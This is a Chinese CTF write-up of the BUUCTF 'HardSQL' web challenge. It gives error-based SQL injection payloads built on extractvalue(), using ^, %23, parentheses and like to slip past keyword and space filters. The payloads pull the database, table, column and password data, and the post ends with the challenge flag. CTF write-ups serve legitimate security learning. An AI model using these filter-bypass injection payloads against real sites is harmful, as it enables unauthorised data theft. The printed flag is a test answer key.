BUUCTF---web---[极客大挑战 2019]HardSQL

1、题目描述

2、使用万能密码发现不可以,这种题前面有很多,这道题用前面的绕过方法不行,得换一种前面没有用过的方法,最近刚学了报错注入,前面就没有用这个方法,这里试试

3、使用extractvalue()函数构造下面方法,发现不可以,可能是有些字符被过滤了。这里将

/check.php?username=admin&password=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)))# 

查阅资料后发现需要构造下面的方法 and用^替换,#用%23替换,空格用()替换

/check.php?username=admin&password=1%27^extractvalue(1,concat(0x7e,(select(database()))))%23

使用上面语句可以查出数据库名

4、用类似的方法查表名:这里注意=用like替换

/check.php?username=admin&password=1%27^extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='geek')%23

 /check.php?username=admin&password=1%27^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23

5、查表中字段名:

/check.php?username=admin&password=1%27^extractvalue(1,concat(0x7e,(select group_concat(table_column) from information_schema.columns where table_name='H4rDsq1')%23

 /check.php?username=admin&password=1%27^extractvalue(1,concat(0x7e,(select(group_concat(table_column))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23

6、查出对应对应对应字段password中的

/check.php?username=admin&password=1%27^extractvalue(1,concat(0x7e,(select password from geek.H4rDsq1))%23

 /check.php?username=admin&password=1%27^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23

7、  太可恶了,只爆出了一半,问题不大,我们使用right()函数,爆出password的 ,一般flag的长度为32位,加上前面爆出了大概有二十来个,继续爆右边大概15个就可以凑完整,不放心的话,可以爆长点

/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,15))from(geek.H4rDsq1))))%23 

 

8、

flag{b0583d02-20d4-4e6d-8e4c-55937ed420d8}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值